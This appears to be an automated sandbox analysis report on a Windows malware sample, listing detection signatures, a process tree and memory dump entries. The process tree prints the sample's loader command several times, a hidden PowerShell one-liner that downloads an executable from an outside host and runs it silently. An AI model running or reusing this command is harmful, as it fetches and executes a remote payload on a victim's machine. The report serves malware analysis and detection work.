Analysis

  • user interaction
    yes
  • max time kernel
    148s
  • max time network
    115s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/08/2026, 07:10

General

  • Target
    k300mrv.exe
  • Size 3.1MB
  • Sample260805-hzpehack4t
  • SHA256 6001f3feca2243b39550842e30b06ef760cfbcf1ea22f3f156451a950de2bca2
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks BIOS information in registry 2 TTPs 1 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\k300mrv.exe
    "C:\Users\Admin\AppData\Local\Temp\k300mrv.exe"
    1⤵
    • Checks BIOS information in registry
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2608
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:APPDATA\BK361367.exe; Start-Process -FilePath $env:APPDATA\BK361367.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5980
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:APPDATA\BK361367.exe; Start-Process -FilePath $env:APPDATA\BK361367.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4696
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:APPDATA\BK361367.exe; Start-Process -FilePath $env:APPDATA\BK361367.exe -WindowStyle Hidden }"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2576
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:6040

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/2576-0-0x00007FFD5E8EF000-0x00007FFD5E8F0000-memory.dmp

          memory/2576-1-0x00007FFD5E760000-0x00007FFD5F104000-memory.dmp

          memory/2576-4-0x0000026C78AD0000-0x0000026C78AF2000-memory.dmp

          memory/2576-5-0x00007FFD5E760000-0x00007FFD5F104000-memory.dmp

          memory/2576-6-0x00007FFD5E760000-0x00007FFD5F104000-memory.dmp

          memory/2576-7-0x00007FFD5E760000-0x00007FFD5F104000-memory.dmp

          memory/2576-8-0x00007FFD5E760000-0x00007FFD5F104000-memory.dmp

          memory/2576-9-0x00007FFD5E760000-0x00007FFD5F104000-memory.dmp

          memory/2576-10-0x00007FFD5E760000-0x00007FFD5F104000-memory.dmp

          memory/2576-11-0x00007FFD5E760000-0x00007FFD5F104000-memory.dmp

          memory/2576-12-0x00007FFD5E760000-0x00007FFD5F104000-memory.dmp

          memory/2576-13-0x00007FFD5E760000-0x00007FFD5F104000-memory.dmp

          memory/2576-14-0x00007FFD5E760000-0x00007FFD5F104000-memory.dmp

          memory/2576-16-0x00007FFD5E760000-0x00007FFD5F104000-memory.dmp

          memory/2576-17-0x00007FFD5E760000-0x00007FFD5F104000-memory.dmp

          memory/2576-18-0x00007FFD5E760000-0x00007FFD5F104000-memory.dmp

          memory/2576-20-0x00007FFD5E760000-0x00007FFD5F104000-memory.dmp